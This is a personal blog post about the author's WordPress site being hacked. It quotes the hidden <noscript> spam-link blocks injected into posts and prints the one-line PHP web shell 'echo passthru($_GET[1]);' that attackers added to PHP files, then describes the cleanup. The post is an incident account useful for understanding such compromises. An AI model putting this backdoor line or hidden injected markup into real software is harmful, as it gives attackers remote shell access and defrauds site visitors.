Ok , I know I begin with the introducing of the My wife’s Blog. It’s about books, travel and geography, because my darling do study at the Faculty of Geography. You might find it also interesting even when you will not find there many articles about IT However her English is much better than my

Back to this blog. As you know Wordpress 2.5 is out. And somehow there are no security updates at that time. How it comes? Did the Wordpress guys didn’t their work really good this time?   Seems to be. So I consider to upgrade in the next time.

… A flaw was found in our XML-RPC implementation such that a specially crafted request would allow any valid user to edit posts of any other user on that blog. …
So e.g. I found some strange code lines in my several posts looking like:

<noscript>Furious franchise is a decision internets download nextel <a( deleted href)> madonna ringtones</a> software and.</noscript>

<noscript>Forse vi piacerebbe il software, o l’interfaccia di una particolare <a( deleted href)>poker</a> room, o forse no.</noscript>

I definitely have not inserted them in to my posts. So how did they get into it? They could be inserted by some Plug-in but they looks so as should be hidden to my eyes, and make few sense for any plug in. Therefore my theory is that they where inserted by bad guys, that used out some of security bugs in wordpress. Presumably they may be used mentioned XML-RPC Bug in the Wordpress version 2.3.2.

Please let me know if you know more about these strange lines.

P.S. In addition i have deleted some unknown users, because my observation point me to some the believe that this could be the violation of security to. So if you wanna subscribe to the comments or Posts, use RSS. Thank you for understanding.

echo passthru($_GET[1]);

to some of php files. That gives them access to shell of my user account on this server. Bad thing it that other domains of mine where affected too. The “Forbidden” you probably have seen, was initiated by my server administrator to prevent broadening of the attack.

I could not find the exactly place of the initial exploit yet. But attackers have left many of traces. So that I was able to reconstruct the rest and remove backdoors. This was a new experience, especially I learned in seconds, that it is better to separate my popular projects from insecure open source playgrounds, like this site actually is.

And on holbreich .de i turned all possible security mechanisms on, till final clarification is done. So you can’t leave comments at the moment cause we are still under carnitine!

P.S. That hackers left some strange move on one of my domains for download to use out the traffic and space. Some was some strange comedy about two gay man. It was in some strange language, so I could not laugh